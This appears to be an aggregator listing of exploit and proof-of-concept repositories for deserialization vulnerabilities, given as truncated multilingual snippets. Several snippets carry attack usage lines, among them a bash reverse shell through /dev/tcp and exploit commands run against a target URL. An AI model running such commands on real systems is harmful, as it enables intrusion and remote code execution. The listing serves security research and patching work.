CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' 最初，CVE-2023–26326 需要借助 gadget 链才能作为反序列化漏洞加以利用。这种方法在运行 PHP 8+ 的新版 WordPress 站点上已不再可行；不过，通过与 CVE-2024-2961https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 进行链式利用，可以改用 php://filter 而不是 phar:// 来实现漏洞利用。...

CVE-2020-2883

这是什么 本项目基于 weblogiccmd，是 CVE-2020-2883 的 PoC。 两个 Gadget 第一个： root@kitploit: ObjectInputStream.readObject PriorityQueue.readObject PriorityQueue.heapify PriorityQueue.siftDown siftDownUsingComparator com.tangosol.util.comparator.ExtractorComparator.compare...

CVE-2019-12814

CVE-2019-12814 CVE-2019-12814:Jackson JDOM XSLTransformer Gadget...

CVE-2026-69836-EXP

CVE-2026-69836 Entra ID: Prueba de Concepto de RCE No Autenticado Resumen CVE-2026-69836 es una vulnerabilidad crítica de ejecución remota de código no autenticada en Microsoft Entra ID debida a la deserialización inadecuada de datos no confiables CWE-502. La falla permite a los atacantes ejecuta...

POC_CVE-2020-2555

POCCVE-2020-2555 CVE-2020-2555 的 PoC 三部分： 客户端与服务器：构建对象并发送到服务器，触发 gadgetchain。用于构建 owner 对象。 攻击：通过 T3 协议使用 pwntools 发送对象。...

CVE-2021-3129

CVE-2021-3129 CVE-2021-3129-Laravel Debug mode 远程代码执行漏洞 影响版本及条件 Laravel = 8.4.2 Ignition 2.5.2 环境搭建 docker pull vulhub/laravel:8.4.2 exp使用 在exploit.py同目录下下载执行 git clone https://github.com/ambionics/phpggc.git python3 exploit.py http://127.0.0.1:80 "whoami"...

gadgetinspector

Gadget Inspector 该项目用于检查 Java 库和类路径中的利用链。利用链用于构建反序列化漏洞的利用程序。通过自动发现应用程序类路径中可能存在的利用链，渗透测试人员可以快速构建利用程序，应用程序安全工程师可以评估反序列化漏洞的影响并优先修复。 该项目曾在 Black Hat USA 2018 上展示。欲了解更多信息，请前往查看！（链接待定） 免责声明：该项目目前处于 alpha 阶段。需要添加测试和文档。欢迎通过添加测试或文档来提供帮助！ 构建 假设你的系统已安装 JDK，只需运行 ./gradlew shadowJar 即可。然后可以使用 java -jar...

CVE-2020-2555

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 root@kitploit: / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...

wordpress-php-object-helper

wordpress-php-object-helper 关于 您有一个已知的带 PHP 对象漏洞的插件，但您需要确定使用哪个库来利用该问题并与 phpggc 配合运行。 这应该能帮到您。 示例输出 root@kitploit: $ python3 finder.py -u http://wordpress.lan -f wp-plugins.lst Processing URLs:...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813 影响 Apache Tomcat —— 如果使用的是存在漏洞的版本且配置严重不当，攻击者只需一次 GET 和一次 POST 即可实现 RCE。 更多信息请点击此处 此脚本来自 Yiheng An、Jun Li、Qiang Liu、Haozhe Zhang、Qi Deng 近期发布的分析文章，经修改后可接受命令、生成所有 ysoserial gadget 载荷并将其发送至目标。 分享此脚本旨在促进道德安全测试。 使用示例： root@kitploit: python3 exploit.py --command 'curl...

CVE-2019-17564-FastJson-Gadget

CVE-2019-17564 Gadget FastJson + SpringFramework para Dubbo 2.7.3 Nuestro artículo completo está disponible en https://www.checkmarx.com/blog/apache-dubbo-unauthenticated-remote-code-execution-vulnerability Tenga en cuenta que esto no es un exploit ; es una cadena de gadgets POC utilizada en un...

CVE-2018-15133-PoC

CVE-2018-15133-PoC 此 Python 脚本利用 CVE-2018-15133 漏洞，针对存在不安全反序列化漏洞的 Laravel 应用实现远程代码执行（RCE）。 该漏洞利用 Laravel（5.5.40 及更早版本，以及 5.6.0 至 5.6.29）中已加密的会话会自动反序列化且缺乏适当验证的弱点。在获取 Laravel 的 APPKEY 后，攻击者可加密恶意负载，这些负载将被反序列化并在服务器上执行。 Laravel 会话系统工作原理 Laravel 使用对称加密机制处理会话，包含三个组件： IV（初始化向量）：每次会话随机生成的初始化向量 Value：使用...

CVE-2019-18935-exploit-study

CVE-2019-18935-exploit-study 对影响 Telerik UI for ASP.NET AJAX 的 CVE-2019-18935 进行深入研究。涵盖 .NET 反序列化漏洞、RadAsyncUpload 处理程序、gadget 链、混合模式程序集利用和缓解策略。...

CVE-2026-33439

🐞 CVE-2026-33439：通过 jato.clientSession 反序列化实现 OpenAM 预认证 RCE 人工洞察 + AI辅助分析 + 逆向工程 + 安全公告 → 利用 首个公开分享的 CVE-2026-33439 利用实现 ForgeRock OpenAM 中的未经认证的 Java 反序列化漏洞，允许通过特制的 JATO 会话对象实现完全远程代码执行。同一条河流流过两次，他们修复了 jato.pageSession（CVE-2021-35464），却忘记了 jato.clientSession（CVE-2026-33439）。反序列化小工具链不问凭证。 📑 目录 概述...

cve-2014-7912

cve-2014-7911 Exp for cve-2014-7911，可以获得系统权限，基于他人的大部分代码，但使用不同的gadget 1. 安装APK并点击按钮 2. 系统服务器将重启 3. 将把系统ID100写入 /data/1.txt...

CVE-2026-84099

The wpstorecart WordPress plugin (IDB Ecommerce / wpStoreCart 5), versions through 5.0.7 , is vulnerable to unauthenticated PHP object injection via a bundled add-on. The vulnerable endpoint is the wpsc-membership-pro paypal.php file, which deserializes user-supplied input without restricting per...

EUVD-2026-76794

The wpstorecart WordPress plugin through 5.0.7 does not prevent direct, unauthenticated access to a bundled add-on that deserializes user-supplied input without restricting the permitted classes, allowing unauthenticated attackers to inject arbitrary PHP objects, which may be escalated further wh...

effective-waffle

effective-waffle otra cosa de cifrado de sleep. también usé el nombre de repositorio predeterminado de GitHub para este. TpAllocWork + TpPostWork + TpWaitForWork + TpReleaseWork para crear + ejecutar + limpiar el callback. El callback es un ensamblado chapucero que pone en cola un montón de gadge...

session_reaper_lab

CVE-2025-54236 - SessionReaper Lab Entorno Docker para demostración práctica de la CVE-2025-54236 SessionReaper: Deserialización de Objetos PHP que lleva a RCE en Magento Open Source 2.4.7. Uso exclusivo en entorno controlado. No ejecutar contra sistemas sin autorización explícita. Sobre la...

CVE-2021-2302

CVE-2021-2302 作者: quynhle 利用链 root@kitploit: javax.management.BadAttributeValueExpException.readObject oracle.security.jps.az.internal.common.principals.toString oracle.security.jps.az.internal.common.principals.getResolvedPrincipal . . . con.newInstance...